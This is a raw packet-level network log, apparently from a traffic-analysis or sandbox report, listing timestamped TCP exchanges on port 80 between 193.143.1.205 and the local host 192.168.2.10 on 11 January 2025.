Jan 11, 2025 04:35:14.283946991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283962965 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283986092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284013033 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284091949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284106016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284132957 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284148932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284156084 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284193039 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284231901 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284248114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284262896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284286976 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284363031 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284409046 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284471035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284488916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284504890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284521103 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284535885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284544945 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284552097 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284574986 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284622908 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.284790993 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284807920 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.284848928 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287265062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287283897 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287298918 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287329912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287352085 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287395954 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287425995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287441015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287486076 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287575006 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287590981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287606955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287623882 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287631035 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287673950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.287733078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287735939 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287744999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.287790060 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.322967052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.323024035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.323029995 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.323057890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.323112965 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.336756945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.336782932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.336810112 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.336862087 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.336882114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.336899042 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.336934090 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337004900 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337045908 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337085962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337100983 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337156057 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337296963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337312937 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337327957 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337343931 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337383986 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337418079 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337491035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337507010 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337558031 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337642908 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337658882 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337675095 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337690115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337698936 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337706089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337722063 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337723970 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.337738991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.337769985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338109970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338128090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338155985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338275909 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338290930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338308096 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338318110 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338331938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338347912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338355064 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338362932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338381052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338395119 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338396072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338413000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338418007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338428020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338445902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338454962 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338462114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338478088 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.338502884 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.338542938 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.339030027 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339056015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339071989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339087963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339093924 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.339104891 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339124918 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339139938 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.339145899 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.339169025 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.360145092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.371588945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.371645927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.371655941 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.371680975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.371738911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.371805906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372092962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372143030 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372143030 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372179985 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372227907 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372230053 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372266054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372307062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372320890 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372339964 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372374058 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372395992 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372468948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372502089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372525930 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372536898 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372582912 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372617960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372652054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372685909 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372699022 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372720003 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372766972 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372773886 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372803926 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372848988 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.372852087 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372944117 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.372982025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373013973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373017073 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373022079 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373050928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373058081 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373085022 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373117924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373132944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373152971 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373187065 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373194933 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373220921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373254061 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373267889 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373289108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373322010 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373334885 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373356104 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373403072 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373537064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373569965 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373604059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373625040 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373639107 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373672009 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373687983 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373706102 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373740911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373749971 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.373938084 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373970032 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.373987913 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374006033 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374038935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374061108 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374072075 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374105930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374129057 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374155998 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374190092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374202013 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374223948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374258041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374270916 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374293089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374327898 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374341965 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374569893 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374624014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374624968 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374658108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374701023 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374705076 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374737978 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374772072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374785900 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374805927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374840975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374861002 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374876022 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374908924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374919891 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.374943018 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374975920 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.374995947 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.375010014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.375042915 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.375055075 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.375078917 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.375107050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.375130892 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.419400930 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426120996 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426155090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426214933 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426223040 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426259995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426306963 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426310062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426346064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426398039 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426409960 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426450968 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426486015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426506996 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426527023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426558971 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426569939 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426594973 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426645994 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426645041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426678896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426713943 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426736116 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426748991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426783085 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426788092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426877022 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426912069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.426923990 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.426948071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427005053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427005053 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427038908 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427073956 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427083969 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427108049 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427139044 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427155972 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427284002 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427336931 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427342892 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427397013 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427448034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427450895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427483082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427530050 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427530050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427565098 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427598000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427612066 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427633047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427665949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427678108 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427699089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427747011 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427778006 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427834034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427866936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427890062 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427900076 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427933931 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427943945 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.427967072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.427987099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.428004980 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.428020000 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.428040028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.428069115 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461081982 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461137056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461152077 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461158991 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461184978 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461186886 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461249113 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461298943 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461306095 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461322069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461338043 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461361885 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461426020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461476088 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461488962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461579084 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461591959 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461606979 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461622000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461632013 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461672068 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461853981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461889029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461908102 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.461940050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461970091 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.461993933 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462004900 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462037086 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462049961 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462066889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462099075 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462114096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462131977 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462166071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462188959 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462199926 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462233067 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462243080 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462269068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462301016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462325096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462337017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462380886 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462630987 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462665081 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462698936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.462714911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.462733984 CET	80	49711	193.143.1.205	192.168.2.10
